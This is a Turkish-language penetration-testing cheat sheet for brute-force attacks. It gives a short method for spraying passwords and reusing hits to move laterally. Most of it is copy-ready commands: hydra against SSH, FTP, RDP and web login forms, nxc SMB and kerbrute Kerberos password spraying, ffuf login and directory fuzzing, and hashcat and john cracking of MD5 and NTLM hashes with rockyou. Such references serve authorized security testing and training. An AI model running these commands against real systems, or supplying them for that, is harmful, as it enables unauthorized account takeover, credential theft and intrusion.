Skip to content

Brute Force - CheatSheet

generic brute

Brute force = doğru protokol + doğru kullanıcı listesi + kilitleme-aware hız. Önce enum; sonra spray veya hedefli wordlist.

  1. Servisi ve auth metodunu fingerprint et.

  2. Kullanıcı listesini üret (enum, OSINT, default).

  3. Düşük paralel spray veya protokole özel brute çalıştır.

  4. Hit’leri ayır; password reuse ile yanal genişle.

Terminal window
hydra -L users.txt -P rockyou.txt ssh://TARGET -t 4
Terminal window
hydra -L users.txt -P rockyou.txt ftp://TARGET
Terminal window
hydra -L users.txt -P rockyou.txt rdp://TARGET
Terminal window
nxc smb TARGET -u users.txt -p 'Welcome1' --continue-on-success
Terminal window
nxc smb TARGET -u users.txt -p pass.txt --continue-on-success
Terminal window
kerbrute passwordspray -d CORP.LOCAL users.txt 'SeasonYear!'
Terminal window
hydra -L users.txt -P rockyou.txt TARGET http-post-form '/login:user=^USER^&pass=^PASS^:F=Invalid'
Terminal window
ffuf -u https://TARGET/login -X POST -d 'user=FUZZ&pass=Password1' -w users.txt -fc 401
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403
Terminal window
hashcat -m 0 hashes.txt rockyou.txt
Terminal window
hashcat -m 1000 ntlm.txt rockyou.txt -O
Terminal window
john --wordlist=rockyou.txt hashes.txt
Terminal window
cewl https://TARGET -m 6 -w cewl.txt
Terminal window
username-anarchy < names.txt > users.txt
Terminal window
hashcat --force --stdout wordlist -r /usr/share/hashcat/rules/best64.rule | head
[ ] protokol/fingerprint alındı
[ ] kullanıcı listesi hazır
[ ] spray/brute hit üretti
[ ] reuse / lateral not edildi